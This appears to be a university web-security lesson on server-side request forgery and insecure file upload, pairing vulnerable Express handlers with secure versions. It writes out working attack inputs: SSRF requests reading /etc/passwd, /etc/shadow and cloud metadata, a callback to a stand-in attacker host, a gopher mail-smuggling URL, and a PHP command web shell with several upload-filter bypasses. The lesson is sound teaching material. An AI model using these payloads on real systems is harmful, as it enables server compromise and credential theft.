James Williams
SSRF: Server-Side Request Forgery forces the server to make requests to unintended locations
File Upload: Insecure file upload can lead to remote code execution and data breaches
Impact: Data breaches, server compromise, financial loss
<!-- VULNERABLE: SSRF -->
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  fetch(url).then(response => {
    res.json(response);
  });
});
<!-- Attack -->
GET /fetch?url=http://localhost:22
GET /fetch?url=file:///etc/passwd
GET /fetch?url=http://169.254.169.254/latest/meta-data/
<!-- VULNERABLE: Blind SSRF -->
app.post('/webhook', (req, res) => {
  const url = req.body.url;
  fetch(url); // No response returned
  res.json({ status: 'sent' });
});
<!-- Attack with external monitoring -->
POST /webhook
{"url": "http://attacker.com/ssrf"}
<!-- Internal network scanning -->
http://localhost:22 # SSH
http://localhost:3306 # MySQL
http://localhost:5432 # PostgreSQL
http://localhost:6379 # Redis
http://localhost:9200 # Elasticsearch
<!-- Cloud metadata endpoints -->
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
<!-- Protocol smuggling -->
gopher://localhost:25/_HELO%20attacker.com%0AMAIL%20FROM:%20test@attacker.com%0ARCPT%20TO:%20victim@target.com%0ADATA%0ASubject:%20SSRF%20Test%0A%0AThis%20is%20a%20test%0A.%0AQUIT%0A
<!-- File access -->
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
<!-- VULNERABLE: Unrestricted upload -->
app.post('/upload', upload.single('file'), (req, res) => {
  const file = req.file;
  res.json({
    filename: file.filename,
    path: file.path
  });
});
<!-- Malicious file -->
<?php system($_GET['cmd']); ?> // shell.php
<!-- VULNERABLE: MIME type check only -->
if (file.mimetype === 'image/jpeg') {
  allowUpload(file);
}
<!-- Bypass -->
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?> // shell.php
<!-- Double extension attack -->
shell.php.jpg
shell.php.png
shell.php.gif
<!-- Server processes as PHP -->
<?php system($_GET['cmd']); ?>
<!-- Null byte injection -->
shell.php%00.jpg
shell.php\x00.jpg
<!-- Server truncates at null byte -->
filename: shell.php
<!-- Polyglot file -->
GIF89a<?php system($_GET['cmd']); ?>
<!-- Valid GIF header + PHP code -->
Skills Needed: Web security, Penetration testing, Vulnerability assessment
Our OS³ Studio provides hands-on experience with:
Access: Available through university portal
Lesson: SSRF can lead to cloud infrastructure compromise
Use OS³ Studio to identify SSRF vulnerabilities and insecure file upload implementations.
Time: 45 minutes
Focus on systematic testing and thorough documentation
Take a break, ask questions, or catch up on the previous task.
Next: Secure implementation and Task 2
<!-- SECURE: URL validation -->
function validateUrl(url) {
  try {
    const parsedUrl = new URL(url);
    // Block private IPs
    if (isPrivateIP(parsedUrl.hostname)) {
      return false;
    }
    // Allow only HTTP/HTTPS
    if (!['http:', 'https:'].includes(parsedUrl.protocol)) {
      return false;
    }
    return true;
  } catch {
    return false;
  }
}
function isPrivateIP(hostname) {
  const privateRanges = [
    /^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./,
    /^127\./, /^169\.254\./, /^::1$/, /^fc00:/, /^fe80:/
  ];
  return privateRanges.some(range => range.test(hostname));
}
<!-- SECURE: Allowlist approach -->
const allowedDomains = [
  'api.example.com',
  'trusted-service.com'
];
function isAllowedDomain(hostname) {
  return allowedDomains.includes(hostname);
}
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  if (!validateUrl(url) || !isAllowedDomain(new URL(url).hostname)) {
    return res.status(400).json({ error: 'Invalid URL' });
  }
  fetch(url).then(response => res.json(response));
});
<!-- SECURE: File type validation -->
const multer = require('multer');
const path = require('path');
const storage = multer.diskStorage({
  destination: 'uploads/',
  filename: (req, file, cb) => {
    const ext = path.extname(file.originalname);
    const name = crypto.randomBytes(16).toString('hex');
    cb(null, name + ext);
  }
});
const upload = multer({
  storage: storage,
  fileFilter: (req, file, cb) => {
    const allowedTypes = ['.jpg', '.jpeg', '.png', '.gif'];
    const ext = path.extname(file.originalname).toLowerCase();
    if (allowedTypes.includes(ext)) {
      cb(null, true);
    } else {
      cb(new Error('Invalid file type'), false);
    }
  },
  limits: { fileSize: 5 * 1024 * 1024 } // 5MB
});
<!-- SECURE: File content validation -->
const fileType = require('file-type');
async function validateFileContent(filePath) {
  const type = await fileType.fromFile(filePath);
  const allowedMimes = [
    'image/jpeg', 'image/png', 'image/gif'
  ];
  return allowedMimes.includes(type.mime);
}
app.post('/upload', upload.single('file'), async (req, res) => {
  if (!await validateFileContent(req.file.path)) {
    fs.unlinkSync(req.file.path);
    return res.status(400).json({ error: 'Invalid file content' });
  }
  res.json({ success: true, filename: req.file.filename });
});
<!-- SECURE: File storage outside web root -->
const path = require('path');
const storage = multer.diskStorage({
  destination: path.join(__dirname, '../uploads/'), // Outside web root
  filename: (req, file, cb) => {
    const ext = path.extname(file.originalname);
    const name = crypto.randomBytes(32).toString('hex');
    cb(null, name + ext);
  }
});
// Serve files through secure endpoint
app.get('/files/:filename', (req, res) => {
  const filename = req.params.filename;
  if (!isValidFilename(filename)) {
    return res.status(400).json({ error: 'Invalid filename' });
  }
  res.sendFile(path.join(__dirname, '../uploads/', filename));
});
<!-- SECURE: File access controls -->
app.get('/files/:filename', authenticateUser, (req, res) => {
  const filename = req.params.filename;
  const filePath = path.join(__dirname, '../uploads/', filename);
  // Check if user has access to this file
  if (!hasFileAccess(req.user.id, filename)) {
    return res.status(403).json({ error: 'Access denied' });
  }
  // Log file access
  logFileAccess(req.user.id, filename, req.ip);
  res.sendFile(filePath);
});
<!-- SECURE: Filename sanitization -->
function sanitizeFilename(filename) {
  // Remove path traversal attempts
  filename = filename.replace(/[\/\\]/g, '');
  // Remove null bytes
  filename = filename.replace(/\0/g, '');
  // Remove special characters
  filename = filename.replace(/[^a-zA-Z0-9.-]/g, '');
  // Limit length
  filename = filename.substring(0, 255);
  return filename;
}
const upload = multer({
  storage: multer.diskStorage({
    filename: (req, file, cb) => {
      const sanitized = sanitizeFilename(file.originalname);
      const ext = path.extname(sanitized);
      const name = crypto.randomBytes(16).toString('hex');
      cb(null, name + ext);
    }
  })
});
<!-- SECURE: URL sanitization -->
function sanitizeUrl(url) {
  // Remove dangerous protocols
  url = url.replace(/^(file|gopher|ftp|ldap):/i, '');
  // Remove null bytes
  url = url.replace(/\0/g, '');
  // Remove control characters
  url = url.replace(/[\x00-\x1F\x7F]/g, '');
  return url;
}
app.get('/fetch', (req, res) => {
  let url = req.query.url;
  url = sanitizeUrl(url);
  if (!validateUrl(url)) {
    return res.status(400).json({ error: 'Invalid URL' });
  }
  fetch(url).then(response => res.json(response));
});
<!-- SECURE: Security logging -->
function logSecurityEvent(event, details) {
  const logEntry = {
    timestamp: new Date().toISOString(),
    event: event,
    userId: details.userId,
    ip: details.ip,
    userAgent: details.userAgent,
    details: details
  };
  securityLogger.warn(logEntry);
}
// Log SSRF attempts
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  if (!validateUrl(url)) {
    logSecurityEvent('ssrf_attempt', {
      url: url,
      ip: req.ip,
      userAgent: req.headers['user-agent']
    });
    return res.status(400).json({ error: 'Invalid URL' });
  }
});
<!-- SECURE: File upload monitoring -->
app.post('/upload', upload.single('file'), (req, res) => {
  logSecurityEvent('file_upload', {
    filename: req.file.originalname,
    size: req.file.size,
    mimetype: req.file.mimetype,
    ip: req.ip,
    userId: req.user.id
  });
  res.json({ success: true });
});
Resources: OWASP | PortSwigger | PentesterLab
Use OS³ Studio to implement secure SSRF protection and file upload practices.
Time: 45 minutes
Focus on implementing industry-standard security practices
For students with additional time, explore the source code to understand:
Deliverable: Code review report with security recommendations